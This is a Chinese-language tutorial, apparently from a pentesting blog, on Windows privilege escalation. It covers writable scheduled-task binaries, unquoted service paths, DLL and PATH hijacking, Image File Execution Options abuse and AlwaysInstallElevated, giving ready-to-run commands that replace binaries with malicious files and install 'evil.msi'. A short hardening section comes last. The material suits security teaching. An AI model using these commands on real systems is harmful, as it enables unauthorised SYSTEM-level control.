1. Windows提权速胜技巧解析
在渗透测试和红队行动中,Windows系统提权(Privilege Escalation)是最关键的环节之一。当获得初始立足点后,快速从普通用户提升到SYSTEM或管理员权限往往能决定整个行动的成败。本文将分享几个实战中验证有效的Windows提权"速胜"技巧,这些方法在TryHackMe等CTF平台和真实环境中都屡试不爽。
2. 计划任务漏洞利用
2.1 schtasks命令滥用
计划任务(Scheduled Tasks)是Windows提权的经典突破口。通过schtasks命令可以查看系统中配置的所有计划任务:
schtasks /query /fo LIST /v重点关注以下特征的任务:
- 运行身份为SYSTEM或管理员
- 触发器设置为"登录时"或"系统启动时"
- 操作指向可修改的脚本或可执行文件
注意:某些系统会显示"schtasks 错误: 无法加载列资源",这通常意味着权限不足或系统语言包问题,可以尝试添加
/nh参数跳过表头。
2.2 实战案例:可写任务劫持
假设发现一个以SYSTEM权限运行的清理任务:
任务名: \Microsoft\Windows\Cleanup 运行方式: SYSTEM 任务执行: C:\Program Files\Cleanup\clean.exe检查目标文件权限:
icacls "C:\Program Files\Cleanup\clean.exe"如果显示"BUILTIN\Users:(F)"(完全控制),可直接替换该exe文件:
copy /y C:\malware.exe "C:\Program Files\Cleanup\clean.exe"等待任务触发或手动重启系统即可获得SYSTEM shell。
3. 服务配置漏洞挖掘
3.1 服务权限审计
Windows服务是另一个常见提权点,使用以下命令枚举服务配置:
sc query state= all | findstr SERVICE_NAME wmic service get name,displayname,pathname,startmode | findstr /i "auto"重点关注:
- 启动类型为"自动"的服务
- 二进制路径包含空格且无引号
- 路径指向可写目录
3.2 服务路径劫持
当发现类似以下配置时:
C:\Program Files\Vulnerable Service\service.exe -start检查路径权限:
icacls "C:\Program Files\Vulnerable Service"如果Users组有写权限,可以创建恶意service.exe文件,然后重启服务:
sc stop "Vulnerable Service" sc start "Vulnerable Service"4. 注册表提权技巧
4.1 自动运行项检查
注册表中的自动运行项常被忽视:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run4.2 映像劫持
检查映像劫持配置:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"如果发现可写项,可以劫持常见管理工具如:
- sethc.exe (粘滞键)
- utilman.exe (轻松访问)
- osk.exe (屏幕键盘)
5. 文件系统权限滥用
5.1 icacls深度利用
icacls是Windows权限审计的神器,递归检查关键目录:
icacls C:\Windows\System32\*.exe /T /C | findstr "(F)" icacls C:\Program Files\* /T /C | findstr "(F)"5.2 可写服务DLL
某些服务会加载可写的DLL文件,使用Process Monitor可以捕捉这些加载行为。发现后可制作恶意DLL进行替换:
copy /y evil.dll C:\Windows\System32\vuln.dll sc stop DepSvc sc start DepSvc6. 环境变量劫持
6.1 PATH变量检查
查看系统PATH变量:
echo %PATH%如果包含可写目录,可以将恶意程序放在这些目录中,并命名为常见管理工具如ping.exe、net.exe等。
6.2 临时目录滥用
检查临时目录权限:
icacls %TEMP% icacls C:\Windows\Temp高权限进程有时会从这些目录加载文件,可尝试放置恶意文件等待系统或管理员进程调用。
7. 其他快速提权技巧
7.1 未引用的服务路径
当服务路径包含空格但未用引号包裹时,Windows会按空格分隔尝试执行。例如:
C:\Program Files\Some Folder\Service.exe系统会依次尝试:
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe
如果在可写位置放置恶意Program.exe文件,服务启动时将执行该文件。
7.2 AlwaysInstallElevated
检查注册表项:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated如果两项都设置为1,可以使用msi包直接提权:
msiexec /quiet /qn /i C:\evil.msi8. 防御与检测建议
8.1 系统加固措施
- 定期审计计划任务和服务配置
- 使用组策略限制普通用户的schtasks和sc命令使用
- 对系统目录和关键注册表项设置严格ACL
8.2 监控建议
- 监控敏感目录的文件创建/修改事件
- 记录服务启动/停止日志
- 启用Windows审计策略中的"对象访问"审计
在实际渗透测试中,这些方法往往需要组合使用。我遇到过最棘手的系统需要连续利用服务路径+计划任务+DLL劫持三种技术才能最终提权成功。关键是要有耐心,逐步收集信息,像拼图一样把各个漏洞点连接起来。